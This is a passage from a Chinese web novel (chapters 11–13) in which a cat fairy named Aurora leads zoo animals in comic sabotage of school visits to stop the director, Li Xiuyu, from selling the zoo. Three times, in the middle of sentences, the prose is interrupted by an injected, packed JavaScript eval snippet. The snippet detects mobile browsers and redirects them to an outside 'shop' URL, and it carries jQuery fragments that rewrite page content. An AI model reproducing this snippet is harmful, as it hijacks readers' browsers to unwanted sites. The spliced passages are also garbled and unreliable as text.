欧若拉用粉色的爪子敲敲他的脑袋:“你?” “哈哈。”虎白糖走进百虎园。 欧若拉带着三只小老鼠走到黎修羽的门前。 她抬起爪子敲敲门。 黎修羽拉开门。 “哼。”欧若拉不看他,把小脑袋扭向一边。 黎修羽没有低头看老鼠,也没说话,侧身让这只小猫大摇大摆地走进去了。 盘子里摆着九种口味的小鱼干,欧若拉饿了一天,一口吞下一条,一口又吞下一条。 “啊呜啊呜…” 她每吃一口,就斜眼瞅瞅黎修羽。 黎修羽坐在桌子前,拿着放大镜,聚精会神地看着什么。 欧若拉一小会儿就把所有小鱼干都吃下去了。 她揉揉圆滚滚的肚子,跳到餐桌上,喝了几口玻璃杯里的水,又跳到床上,开始洗爪爪和脸。 她每洗一下,依旧要斜眼瞅瞅黎修羽。 黎修羽根本没往她这边看一眼。 欧若拉也不知道过了多久,自己一只孤零零的小猫躺在柔软的床铺上睡过去了。 半夜,除了沉睡魔咒园区和司令外,所有动物都聚集到百虎园附近。 在欧若拉看来,百虎园所在的整个山头是布满妖气的。 欧若拉端坐在百虎园的房檐上,接过老鼠递过来的一只孔雀羽毛笔,在她从黎修羽办公室顺来的A4纸上涂涂画画。 三笔过去,一张作战图应运而生。 “这张作战图大家互相传阅。” 她把图纸交给小老鼠,小老鼠顺着墙壁滑到地上,把图纸交给动物们看。 “喵呜,欢迎大家来参加我们的动物园捣蛋行动誓师大会,我是此次行动的总发起仙——欧若拉。 “我知道你们都是来自世界各地的妖精,三天过后,请大家务必各显神通,让那个可恶的园长知道,我们这些动物也会为自己的命运而战。鼓掌!” 一只乌鸦飞过。 其他妖精鸦雀无声,连呼吸声都暂停了。 欧若拉一把抓住那只在她头顶飞着的乌鸦,面无表情,爪子一使劲,乌鸦“啊”地叫了一声,瞬间蔫掉,翻着肚皮装死。 妖精们又开始恢复呼吸了。 “猫仙大人,”一只瘸着腿的灰色老猴子举起手,手里是一根啃剩下的香蕉皮,“我们猴子想要统一制服。” 另一只猴子说:“对,我们要更霸气,我们猕猴家族可不是好惹的。” 欧若拉把装死的乌鸦扔在一旁,爪子放在下巴上:“你们去把那些游客的帽子抢了吧,想要什么就抢什么,直接升为自助餐好啦。” “好!”老猴子点点头。 一只羊驼吹吹自己的斜刘海:“优雅的羊驼竟然要吐口水?” 欧若拉说:“你们到时候记得喝点厕所的水。” “那是可以。”羊驼认真思考了一下。 金钱豹打了个哈欠:“啊呜,我想弃权。” “敢弃权就让你每天在梅花鹿的粑粑里沉浸式遨游。”欧若拉拍拍爪子。 欧若拉回到房间内。 黎修羽还处于睡梦之中。 她迷迷糊糊地爬上去。 她趴在黎修羽的胸膛上,抬头,正好能看见这个人类的下颌线和柔软的薄唇。 “看看看看,为了你这个凡夫俗子,本仙女直到现在才能入睡。” 她伸出爪子,轻轻地抚摸在他的嘴唇上,趁他睡着,又轻轻地拍了拍,最后实在忍不住,用她的三瓣儿嘴轻轻地碰了碰。 “我觉得你是坏人,”欧若拉喃喃细语,“但着实香甜。” 她终于睡着了。 整整三天。 欧若拉都没有跟黎修羽说一句话。 她一见到这个讨人厌的凡夫俗子就忍不住回敬他个恶狠狠的呲牙咧嘴。 睡觉的时候,也不再等他躺好就趴到他胸膛上。 欧若拉觉得自己真是讨厌死这个人了。 可每天半夜醒来的时候,她都发现她整个身体又挪到黎修羽胸膛之上。 喵呜? 一定是这个凡夫俗子半夜偷偷挪的吧! 反正她是坚决不承认自己会主动靠近这个人的。 虽然这个人每天早晨一醒来都会发现自己嘴上粘着好些白色猫毛。 偶尔也会有根粉毛。 “家长们,请看好自己的孩子,注意好这里的警示牌,有些动物根据规定可以近距离触碰,但有些动物是绝对不可以的哦。好啦,让我们进入我们的春游第三站吧!”戴着小红帽的姜老师站在星羽动物园门口说。 李大爷拉开大门,和蔼地笑着。 黎修羽站在大门后面。 “星羽动物园,欢迎大家的到来。”他像个NPC一样,微微笑笑。 姜老师走过来,和黎修羽握手。 “小黎园长,你好!” 黎修羽点了点头:“你好。” 队伍浩浩荡荡走进大门。 姜老师说:“之前的两位园长每一年都给我们这些学生和家长准备好多惊喜,不知道今年有什么值得期待的呢?” 黎修羽的笑容顿了一下:“今年的惊喜…可能不太一样。” “小黎园长,怎么说?”姜老师眼睛一亮。 黎修羽的脑子疯狂转弯,因为他什么惊喜都没有准备。 “…更原生态。” 姜老师拍拍手,笑起来:“这也特别好!现在的孩子整天生活在大城市里,就是很缺这种原生态的体验呢。小黎园长,你真棒。” 黎修羽表面挂着微笑。 其实这个微笑的含义叫做:你们自求多福吧。 黎修羽看着浩浩荡荡、叽叽喳喳的队伍,觉得有些恍惚。 以前他爸妈守着这个动物园,每年的这个时候似乎都格外忙碌。 当然,他们每时每刻都很忙。 而他呢,也因为父母的原因,从来都没有参与过这种活动,所以,他根本不知道应该怎样准备惊喜。 或者说,他的心思不在这里。 他沉浸在思考中,但他突然看见了道有点儿眼熟的身影。 家长队伍的最后,有个男人朝他招了下手。 黎修羽不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526371|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自觉地蹙了下眉。 他想了想,往前走,走到队伍的前面,告诉大家指示牌的位置。 听见“哗啦”一声,他回头望去。 孔雀楼阁中,大明王菩萨来回抖动两下翅膀,背对着所有人,将翅膀上的眼睛对着他们。 孩子们一见到这只美丽到极点的孔雀,就开始叫。 “小孔雀,开开屏~” “开屏!” “好美呀~” “她是大美女!” “宝贝,这是公的。” 家长和老师点开手机的录像键。 大家都在等待这只孔雀开屏。 可他只是回头看看他们,不论他们怎么说,他就是不开屏。 不仅不开屏,还把漂亮的大尾巴收得超级紧,全然一副“我懒得搭理你们”的样子。 一个小女孩说:“妈妈妈妈!这只孔雀不开屏!” 妈妈说:“再等等。” “小孔雀,小孔雀,你开个屏嘛!”另一个小孩说。 孔雀的尾巴一动不动,甚至直接把头撇过去,也不看他们了。 姜老师觉得有些尴尬:“哈哈哈,可能今天不是孔雀的开屏日。我们进行孔雀楼阁的第二环节吧,谁愿意近距离接触孔雀呢?请举手!” “我!老师,我要去!”一个小男孩说。 “我要去!”小女孩说,“妈妈,我们一起去看孔雀,和孔雀玩!” “我也要去!我最喜欢孔雀了!我要摸它的羽毛!” 大家争先恐后,都愿意进入孔雀楼阁。 “好,那我们排队进入,一次可以进三个小朋友哦。”姜老师说,“小黎园长,我们组好队了。” “好的,大家这边来。” 黎修羽将孔雀楼阁的大门打开,放进三组人,自己也进去,然后又将门锁住。 孔雀斜眼看了黎修羽一眼,又将高傲的头撇过去,不看这些人。 小朋友们越走越近。 “好美呀!” “这么多眼睛!” “我觉得有点可怕!” “别怕,宝宝,这是大自然的神奇之处。” “请大家不要离孔雀太近,间隔至少两米。”黎修羽说。 “好的。” “咱们要听园长叔叔的话哦!” “嗯!我听话,我是最乖的宝宝。” “园长叔叔,你能让孔雀开屏吗?”一个小女孩指着孔雀问。 黎修羽嘴角抽搐。 他要是有这本事,他就去当驯兽大师了。 不对。 就算他有这本事,他也绝对不用,因为他讨厌动物。 小女孩还在眨着眼睛仰头看黎修羽,身后突然传来“哗啦”一声。 大明王菩萨向这三个小孩和家长飞奔而来,直接跨越两米的最佳距离,跑到他们面前。 “嘎!!!!!”大明王菩萨用尽全力张大嘴巴,一边大叫,一边在一瞬间把尾巴全部打开。 蓝绿色的羽毛在阳光下闪着银白色的光,那些形似眼睛的斑块现在就像真正的眼睛一样,瞪着所有人。 小朋友们的头发都被大明王菩萨的怒吼吹开。 他们愣了一瞬,下一秒,立即大叫! “啊!!!!!”人群炸开。 预计的哭喊声一点点都没有到来。 取而代之的,是无数比太阳还闪耀的转瞬即逝的亮光。 因为那是家长们的闪光灯。 11. 他竟然诡异地笑了一声 “哈哈哈哈哈哈哈,”人群瞬间笑炸了,“他好搞笑啊!” “他叫得好难听啊!” 小朋友们走上前,边笑边想捏大明王菩萨的羽毛。 大明王菩萨明显被吓了一跳,想收回羽毛,却没办法立即收回,就怕被这些人踩到,更怕被踩脏。 “大家不可以触碰动物。” 黎修羽先是被孔雀这突如其来的发疯举动震惊住,看到那些小孩想去触摸孔雀,下意识地立即出声制止。 他走到孔雀和小朋友们的中间,将他们物理隔开。 他的语气冷静中带着急迫,急迫中夹了丝温和:“小朋友们,你们不能碰孔雀的羽毛,孔雀的羽毛很脆弱,现在碰了,明年可能就不长了。” “那我们不碰了,园长叔叔。”小女孩点点头。 “大家要听园长叔叔的话,不要触摸动物哦。”姜老师站在栏杆外面喊。 欧若拉站在很远很远的猴山上,粉色的尾巴晃来晃去,聚精会神地欣赏着这一幕。 她觉得黎修羽真奇怪。 孔雀对他们的反应似乎非常之不满意,他抖动羽毛,再次大叫一声。 “嘎——!!!!!” 就在这时,不远处的树上,一只灰色的只有一条腿的老猴儿突然掰断一根树枝,向天空抛去,抛得特别高。 小朋友们的注意力瞬间被吸引走。 “那边!” “树上有猴?!爸爸,我们去追猴!” 树上怎么可能有猴?! 黎修羽瞪大眼睛,下意识地看看孔雀,孔雀立即心虚地别过脑袋,呲溜一下,飞走了。 黎修羽依旧瞪大了眼睛。 他也看见了。 树上真的有只猴! 不是猴山上。 是树上!!! 那只老猴一看见黎修羽发现了他,立即向猴山荡去。 那个处在队尾的中年男人走到黎修羽身边:“黎园长,你这动物园也太乱七八糟了,怎么猴子还能遍地跑。” 黎修羽看了他一眼:“郭经理是来杀价的吗?” 郭经理揪揪领带:“嗨,上次咱们聊得不错,我来实地考察一下,没提前打招呼,您多担待着点。” 黎修羽点点头:“那你随意。” 孩子们跟着老猴往那边奔跑着,家长们举着手机,闪光灯不停。 黎修羽也跑起来,他跑得飞快。 但一切都已来不及。 猴山上的猴像峨眉山的猴子一样,有的站在栏杆上,有的站在石像上,有的…正骑在姜老师的脑袋上。 “啊!”姜老师大叫。 这只小猴非但不害怕,还一把就将姜老师的红色小帽子摘下来,带到自己头上,又抢走姜老师的眼镜,戴到自己眼睛上。 猴子又不近视,只觉得一戴上这个破玩意儿就头晕目眩,一把就给扔到地上去。 幸好黎修羽行动快,弯腰将眼镜接住,又重新交给姜老师。 “谢谢,谢谢…”姜老师说,“这…” 黎修羽抬头看,现在几乎每一只猴头顶上都顶着一顶小红帽,小猴把孩子的棒棒糖也给抢走了。 猴群中混进去一只小老鼠,将女孩子的头花摘下,戴到自己耳朵上。 灰色的老猴子则把瘸了的那只腿踩在郭经理的脑袋上,把他的两只耳朵揪得老长,吐着舌头耍宝。 郭经理被揪得东倒西歪:“黎园长,救救我!” 黎修羽才走过来,灰色老猴就立即跑远了。 突然,猴子们突然像是得到了命令一样,开始齐刷刷地向另一处跑去。 家长们也举着手机追过去。 他们经过羊驼园,每一只羊驼都蓄势待发,一看到小孩们过来,就同时突出一口积攒好久的口水。 “呵tui!” “我来,我口水更多,呵tui!” “我也呵tui!tui!tui!” “让一让,让一让,我刚喝了厕所的水,呵tui!” “啊!怎么又是我!”郭经理捂着脸,手舞足蹈,马上就要抓住那只吐他口水的羊驼。 黎修羽伸手,递给郭经理一块湿巾。 “黎园长,这也太太太…太!”他急得不行,嘴里却被气得说不出来两句。 黎修羽默默地把那只羊驼推到身后。 “郭经理,先擦擦脸。” 小孩子们哇哇哭,家长们一边录视频,一边给孩子们擦脸。 猴子们趁机把家长们的包包也抢走了,大家就又跟着猴子们跑起来。 一只黑猩猩扒着园区的栏杆,拼命向人类招手。 大家见到如此通人性的黑猩猩,也立即举着手机跑过去。 有几个小孩跑得最快,想伸手跟黑猩猩握一下。 没想到,黑猩猩见他们一来,立即邪魅一笑,然后一个闪转腾挪,将整个身子转过去。 “噗!” 响亮的大臭屁在空中炸开。 “啊!”小孩子直接被熏倒在地上。 家长去将孩子抱起,也差点儿被臭晕了。 黑猩猩满意地揉了揉肚子。 “这下事儿大了吧?”欧若拉噗呲一笑,“喵呜,果然人类还是得让近亲来治呀,这黑猩猩最知道怎么恶心他们了,哈哈哈哈哈。” 虎白糖重重地点了点头,他这种讲究体面的老虎是绝对做不出来这种事情的。 但大家好像并不怕这头黑猩猩,一个个都捂着鼻子,拿起手机就是一顿拍。 “你再放个屁?”一个男家长说。 “来来来,再来一个,再来一个,略略略略略。”另一个家长附和着说。 黑猩猩面露惊讶,决定使用大杀招。 他拿起自己的粑粑就朝着所有人一通乱抛,但今天的粑粑并不多,也怪老鼠打扫得太勤,所以他又开始扔地上的树干,和水里的小石头。 黎修羽拿出一把伞,默默地打开,举在自己脑袋上。 一坨乌黑乌黑的大便正好砸在郭经理的天灵盖上。 “啊!怎么又又又是我,@#%“~!《~_:#?%!##''《~##^‖)【“{$★☆→_→}》。” 郭经理捂着脑袋,眼泪纵横,嘴里瞬间喷涌出无数个无法记录的词语。 黎修羽无奈地摇摇头:“郭经理,您先撤吗?我们改天再聊。” 郭经理正倒着往后走,手还捂在脑袋上:“呜呜呜,今天出门没看黄历,改天再议。” 大家依旧嘻嘻哈哈,就像古代的男人接绣球一样。 只不过,大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526372|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在躲着这些“绣球”罢了。 黑猩猩扔完最后一块香蕉皮,往后退了几步,向大家挥了挥手。 “哇,他在跟我们saygoodbye吗?” “我是让你们赶紧滚,我不行了。”黑猩猩一脸无语。 欧若拉见黑猩猩已工作完毕,立即喵呜一声,发号施令。 猴子们听见了,黎修羽也听见了。 黎修羽像欧若拉所在的方向看去,但欧若拉和虎白糖的速度更快,立即撤退,没被他看见。 猴子们在树上荡来荡去,把所有人的目光都吸引走,又朝着另一个方向奔跑起来。 黎修羽大惊,迅速向前跑去。 不好! 那边是百虎园! 百虎园门口,一只白色的东北虎慢慢地走出来。 他蹲在正中央,左边是一只黄色的东北虎,右边则是一头比老虎还壮的猪。 完了。 黎修羽心里现在只有这两个字:完了。 这里彻底鸡飞狗跳。 他立即跑到最前面,将想往前跑的小男孩抱在怀里,让所有人向后撤。 “哇!是老虎。”,小男孩回头找妈妈,“妈妈,这是老虎!” “别…别靠近!嘘…”妈妈把儿子接过去,抱在怀里。 中间的那只白色老虎盯着黎修羽看,看了几秒钟,转身朝另一个方向走去。 另一只老虎和猪则趴在地上,好像开始晒太阳了。 意识到这三只体型庞大的动物并不打算攻击他们后,大家终于呼出口气。 “这只猪好搞笑呀,怎么比老虎还肥?” “妈妈,我想骑猪。” “猪不好骑,宝宝。” “爸爸,我想骑老虎。” “别啊,恁爹不是武松。” 几秒之后,黎修羽看见那只白色的老虎又出现了。 白色老虎走到矮墙边,墙上是一尊像雕像一样的猫。 黎修羽当然认识这只猫。 这只猫眼神里只有睥睨苍生的意味,嘴角还噙着一抹淡淡的笑。 她小爪一挥,长颈鹿就开始疯狂甩头,一左一右,互相甩对方,就像左右搏击一样;她小爪再挥,大象们也开始卷着木头到处扔;她小爪又挥,三只老鼠就站在陆地龟身上排成一队,龇牙咧嘴,疯狂鞠躬。 小猫挥了三下爪子,跳到老虎背上。 所以众人就看见老虎的背上多了一只浑身雪白,但胸膛、四肢和尾巴是淡粉色的小猫咪。 白色的老虎驮着白色的猫,慢悠悠地向人群走去。 “快看!老虎的背上竟然有只猫。”一个家长拿着手机就开始录像。 “快,快拍下来,这太奇葩了!” 黎修羽立即上前拦着越走越靠近动物的人们。 “请大家离远一点,动物园出了点状况。”黎修羽说。 这时,老虎正好走到他面前。 虎背上的那只小猫咪正仰着头看他。 眼神里只有一种意思:怎么样?意不意外?享受到我给你带来的刺激了吗?凡夫俗子! 黎修羽应该是要生气的。 但当他真跟这只小猫四目相对时,他竟然诡异地笑了一声。 他也不明白自己为什么会笑。 12. 瞬间冲上同城热搜第一 欧若拉下午没敢回黎修羽的房子。 等天黑之后,她才悄悄地扒开窗户,从缝隙里钻进去。 盘子里依旧有九条小鱼干。 她狠狠咬着小鱼干,又抬头看看床上睡着的人。 没醒。 呼。 吓死了。 她狼吞虎咽,几秒钟之内,就吃下六条小鱼干。 黎修羽翻了个身。 欧若拉一双妙脆角又变成飞机耳。 她抬起琥珀色的眸子,瞅了瞅,下定决心,将爪缝里的三根不同颜色的老鼠毛摆在盘子里,叼着剩下的三只小鱼干从窗户缝里又溜出去了。 当天晚上,姜老师发了条朋友圈。 九宫格视频,最中间的是一只小猫骑在老虎身上,在人群中走来走去。 配文:收获满满的一天——奇妙的动物园之旅 半个小时后,她的朋友圈被截图发在微博上。 这条微博瞬间冲上同城热搜第一。 热搜标题:#猫骑老虎指挥交通# 热门评论1:妈呀,那只猫在挥爪子!她真的在指挥!!!(黄豆震惊) 热门评论2:建国以后不许成精(黄豆笑哭) 热门评论3:真的!手一挥,那边的长颈鹿就疯狂甩头,再挥挥,老鼠都开始鞠躬了!好搞笑! 热门评论4:老虎背上的猫:睥睨众生,大家都听我的指挥(表情包:你是低等牛) 热门评论5:难道只有我注意到园长的表情吗?那个帅哥好像笑了一下! 热门评论6:我反复看了二十遍!他真的在笑!笑什么啊!(黄豆笑哭) 热门评论7:好诡异!帅气园长诡异一笑(养h控p专用不要楼中楼控p专用不要楼中楼) 楼中楼:他在跟猫对视! 楼中楼:我初恋也长这样 楼中楼:求帅哥联系方式…我有个诡秘… 楼中楼:他笑是因为猫在看他啊 楼中楼:磕到了啊啊啊啊啊他在朝那只猫笑! 楼中楼:楼上什么都磕…真拿腐女没招了 楼中楼回复:什么鬼啊!可爱的小猫是女孩子!而且腐女又怎么着你了?你是深柜吗?(黄豆震惊) 热门评论8:原作者现身吧,三秒内我要知道这座动物园的确切位置 楼中楼:我来啦… 姜老师回复了这个网友。 第二天清晨。 还是那群小朋友,还是那群戴红帽子的家长,还是那个姜老师。 只是这次,姜老师身边多了京川市融媒体中心的记者,也多了很多举着直播设备凑热闹的人。 “我们了解到,这座位于京川市西南郊外的公益性质的动物园每年都有固定的免费开放时间。姜老师,这就是您提到的星羽动物园吗?”记者举着话筒说。 “是的,”姜老师对着镜头笑着说,“昨天黎园长告诉我,这里今天也可以为我们的学生和家长开放。” “您之前见过那只小猫吗?” “没有,可能是最近才收养的吧,这座动物园一直都有收留流浪动物。” “很有爱心啊!听说黎园长长得很帅,你见过真人,请问这是真的吗?” “嗯…特别帅!像明星一样!重要的是,人也特别好。”姜老师笑着说。 李大爷从门卫室的窗户那儿探出个脑袋。 记者眼疾手快,让摄像师扛着相机就冲过去。 “这位大爷,您在这里工作多久了?” “啊…我在这里十个年头了。”李大爷说。 “那您是在这个动物园兴建之初就来到这里了吗?” “对,是有这么个事儿。” “嗯嗯,请问这里的动物一直都如此有趣吗?” “…最近格外有趣。”李大爷笑起来。 时间已到上午十点钟。 市电视台直播开始了。 “观众朋友们,大家上午好!”记者对着摄像机说,“我是市融媒体中心特约记者王建国,我现在所在的位置就是大名鼎鼎的星羽动物园,昨天,一段‘小猫指挥所有动物集体搞笑’的视频在微博迅速爆红,今天我们特地跟随参观的学生、家长和老师们来到这里,看看我们的摄像机能不能记录下那些精彩的瞬间。” 黎修羽站在门口,表情复杂。 黎修羽昨天没看手机,因为整个动物园的烂摊子都够他忙活一整天了。 他抿抿薄唇,忽然想起今天醒来的时候,嘴角没有粘上白色的毛。 他没想到今天会来这么多人,更没想到电视台记者也会来。 他走过去。 “各位游客,今天是动物园对市实验小学的开放日,暂不接待其他种类游客,大家见谅。” 黎修羽摆摆手,李大爷会意,立即将春日游园会的牌子树在大门口的正中央。 姜老师笑着走过来:“黎园长,今天还是‘原生态’吗?” “今天,的确是什么都没有准备。”黎修羽坦然。 “您太幽默啦,您一定又给我们准备新的惊喜了吧!”姜老师说。 黎修羽摇摇头,没反驳。 整个队伍都进去了,电视台的团队也紧随其后。 其他那些凑热闹的主播们,则被李大爷全都拦在门外。 李大爷举起一个巨大的、临时印好的二维码。 “大家关注我们的公众号吧!我们这儿是公益动物园,每个月都有固定的时间段免费开放,其他时间的票价也特低。至于啥时候开放呢,咱都会在公众号上发布呀!” 黎修羽早就预料到欧若拉不会简简单单放过他。 果然,同样的戏码又要演一遍。 猴子还是被放出猴山了。 猴子还是骑在姜老师头上了。 但不一样的是,这一次,猴子没有带着大家去羊驼园,转而去了另一条路。 “黎园长,这是要去哪呀?”姜老师问完,立即举着手机向前跑去。 “黎园长,请问下一个山头有什么值得我们期待的动物吗?”王建国举着话筒问。 “那边今天不开放。”黎修羽说。 但没人在乎他说了什么,大家全都跑过去了。 大家跑到另一个山头。 一只狮子正卧在一块巨大dw青石上。 “妈妈!我的小红帽!”小男孩指着狮子说。 “乖宝,我们不要了…” “好淡定的狮子。”王建国指挥摄像师拍下来。 体型庞大的非洲狮王打了个哈欠,一巴掌把头顶的小红帽拍到掌下,微睁眼睛,用“你们这群扰人亲近的凡人”的睥睨众生的眼神将所有人扫射一圈。 “好威猛的狮子。”王建国拍手,又指挥摄像师拍下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526373|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狮子王张大嘴巴,大吼一句:“我本不屑与老虎这个种族争什么武林第一,但虎白糖实在是威慑力太低了,吓不到这群凡人,哼,只能靠我了。” 虎白糖驮着欧若拉站在远处的石头后面。 “唉?这头死狮子还来劲儿了?咱得去跟他比划比划!不能给咱那嘎丢人!”虎白糖说。 欧若拉咬住他的耳朵尖,整只猫都炸毛了。 “你给我冷静!冷静!” 狮子王朝虎白糖邪魅一笑,又立即面对众人,用尽十成功力,大吼一声。 “吼!!!!!” 几乎所有人都被狮子的大吼镇住,大家都捂住了耳朵。 但没过一秒钟,一个小孩就突然笑起来。 “它好帅啊…” “我也喜欢这头狮子!园长叔叔,我们能去骑狮子吗?” “这属于危险动作,不可以。”黎修羽说。 狮子王很惊讶,立即看向欧若拉的方向:“他们竟然不怕???” 欧若拉和虎白糖噗嗤一笑:“你可省省吧!他们胆子大得很。” “那我可以吃掉他们吗?” “那不行。” “真没劲儿。”狮子王愤怒地低吼一声。 他随爪将爪下的小红帽甩到黎修羽头上,一个跳跃就回到自己的园区去了。 而金钱豹就在青石旁边的大树上,大家还没来得及往前走,他就将一只黄色的豹纹包包甩到一位家长的怀里了。 “谢谢…?” 家长有些懵,意识到是豹子将包包还给了她,就立即拿出手机来对着豹子拍照。 “助人为乐?”王建国推推眼镜,“快点,把这个拍下来,金钱豹一直很火,这个太有意思了。” “不客气…”金钱豹低吼一声,趴在树干上小憩起来,反正这也算完成任务了。 “我讨厌那只豹子!”欧若拉一爪拍在虎白糖头上。 她一声口哨,猴子们又开始动了。 大家又从这个山头跑到另一个山头。 两只老虎和一只猪还是守在百虎园门口看门。 然后一只小猫又站在老虎身上了。 “咱们的顶流来了…快!快!” 王建国指挥着摄像师,自己也想冲上去采访一下这只小猫,但看见老虎在那儿,便不敢过去。 只见这小猫两爪一挥,长颈鹿和大象又开始像安了马达一样发疯。 三只老鼠突然冲出来,当着所有人的面,给黎修羽鞠了一躬。 黎修羽:“……” 老虎驮着猫,大摇大摆地走到黎修羽面前。 这一次,小猫没有邪魅一笑。 她朝他翻了个大大的白眼。 然后他们就走了。 黎修羽又笑了。 … 黎修羽站在百虎园门口。 欧若拉站在虎白糖背上,虎白糖站在百虎园里面。 “看什么看啊?你是不是要骂我呀?你骂呀!老娘就在这里,随便你骂!喵呜!反正我就是搞破坏了。 欧若拉吐着舌头。 “略略略,你卖不掉了吧?气死你气死你!” 黎修羽没骂人。 他眼神围着百虎园扫射一圈,看着欧若拉说:“我觉得…这样挺有意思的。” “……” 欧若拉斜眼瞅着黎修羽。 13. 这个凡夫俗子是不是疯啦 欧若拉扒拉开虎白糖的耳朵:“这个凡夫俗子是不是疯啦?我给他捣了这么多乱,他竟然不骂我,也不打我!还说有意思?!你看到他这两天那两抹诡异的笑了吗?喵呜?” “欧神仙,”虎白糖小声说,“他一定是被你气疯了,我听说有一种人就是特别奇怪,心理越变态的时候,表面就越平静。” “呃,”欧若拉还是斜眼瞅着黎修羽,“他这段时间的一切行为都极其不正常。” 欧若拉只能从黎修羽脸上看到一抹她都理解不了的平静。 “你说,他是不是在酝酿着什么?”欧若拉继续小声咕哝。 虎白糖耳朵动动:“欧神仙,要不你先从我背上下来?万一他真冲进来揍我们呢?” 欧若拉说:“虎白糖啊虎白糖!他又不是武松,你还能打不过他?” 黎修羽还是一言不发。 他的目光一直盯着欧若拉,看起来也不是生气,也不是无奈,只有一种说不清道不明的味道。 欧若拉终于忍不了了,率先开口:“你还看啊!” 黎修羽扬起下巴,垂眸看着她,依旧没说话。 欧若拉说:“我现在要郑重地告诉你,虽然我这两天的确太过分,但是如果你敢揍我的话,我一定发号圣火令,让虎白糖咬你!” 虎白糖小声说:“咱其实不想咬人…” “我求你闭嘴!”欧若拉说。 “下来。”黎修羽忽然开口。 他只说了这两个字。 他的语气里面没有一点点威胁和命令的意思,只是很平静地说了这两个字,甚至很轻很轻。 欧若拉愣住了。 她以为他不论说怎样的话都应该咬牙切齿,就像这五千年猫生中,她每一次生气时一样。 因为她自己是这样的,所以她以为每一个生物都会跟她一样。 欧若拉还是觉得自己必须得嘴硬才行。 “凭什么?我凭什么要听你的?” “该喂食了。”黎修羽平静地说。 “你喂你的呗!跟我有什么关系?”欧若拉说。 “是给你喂食。”黎修羽说。 欧若拉:“……” 虎白糖身体微颤。 因为欧若拉立即从他身上跳下来了。 欧若拉身轻如燕,跳到地上又立即走到黎修羽脚边。 走到他身侧时,她抬头看他:“走,就,走。” 她目光里都是挑衅,但当她将头转过去,目视前方时,圆圆大大的眼睛咕噜一转,哈喇子都想要流一地了。 黎修羽只是低眸看了看她,随即,跟在她后面走了。 这是真正的午后,太阳在往西边走。 黎修羽走在后面:“今天的三只老鼠呢?” 欧若拉瞬间顿住脚步。 来了。 我就知道这个可恶的凡夫俗子不可能免费给我吃的。 她没回头,张开嘴巴,她想要一口气编出好多理由,比如老鼠们生病了,比如老鼠们搬家了。 但不出所料,她怎样都发不出声。 她卡在那里,像一只被拍在沙滩上的鱼。 黎修羽走过来,低眸看她。 欧若拉不敢跟他对视,所以她一直不知道当时黎修羽的眼睛里有一丝对她的调侃。 如果猫有脸色的话,欧若拉现在已经把整张脸蛋儿都憋红了。 “…他们在打牌。” 说完,她整只猫都僵住了。 我去!我这是编了个什么鬼理由?! 不对! 我现在只能说真话。 看来那群老鼠精真的在悠闲地打牌! 老鼠洞里,四只围在牌桌旁的老鼠同时连打了两个打喷嚏。 “娘嘞!咱最近可改邪归正了,咋还有人骂咱?” “哦?什么牌?”黎修羽问。 欧若拉想说斗地主,但她只能发出“d”的音;她还想说“保皇”,但她只能发出“b”的音;她又想说“够级”,但她只能发出“g”的音。 所以黎修羽听见的,就是一只小猫嘴巴张呀张:“嘚!啵!go!!!” 欧若拉想变成干涸岸边上的鱼。 “…掼蛋!”欧若拉憋了好一会儿,“对对对!他们就是在玩掼蛋!” 她已经知道那四只打牌的老鼠是谁了,一定是她此时此刻临时确定的四大护法——体制内人员。 等骗到小鱼干,她一定要让这四只老鼠教她玩掼蛋! “这里的老鼠也成精了吗?都会打掼蛋了。”黎修羽语调没有任何起伏地说。 “你才知道呀!”欧若拉说。 “真的?” 欧若拉自顾自地说:“我本来想跟你编排几句老鼠们去集体春游了之类的假话,可我却怎样都说不出口,尤其是面对你,无论如何都说不了假话。请问你是不是我的劫难呀?” “但我跟你不熟。”黎修羽向前走。 “我知道!”欧若拉追上去,“你总是强调这一点!啊!我刚刚是不是跟你说了我在你面前说不了假话的事情了!” “是的。”黎修羽迎着阳光,大踏步地向前走着。 “我求你了,你干脆假装没听见吧。”欧若拉边跑边说,浑身的肉和毛都在一上一下地抖动。 “不。”黎修羽说。 “黎修羽你是坏蛋吗?” 黎修羽依旧在前面走着,仰着下巴,没回答她。 其实他偷偷弯了一下嘴角。 欧若拉一直跺脚,走了几步,又问:“那你还卖不卖动物园嘛?” “卖。” “你怎么能这么黑心?我求你别卖!” “不想说话。” “可是可是,你觉得有趣,一定是你也很喜欢这些小动物吧!喵呜!” “不知道。” “喵呜~_~,那今天的小鱼干你还给不给我嘛?” “给。” “老鼠怎么办?” “明天必须补上。” “黄世仁!喵!呜!”欧若拉大叫。 黎修羽打开房门,从储物柜里抓出一把小鱼干。 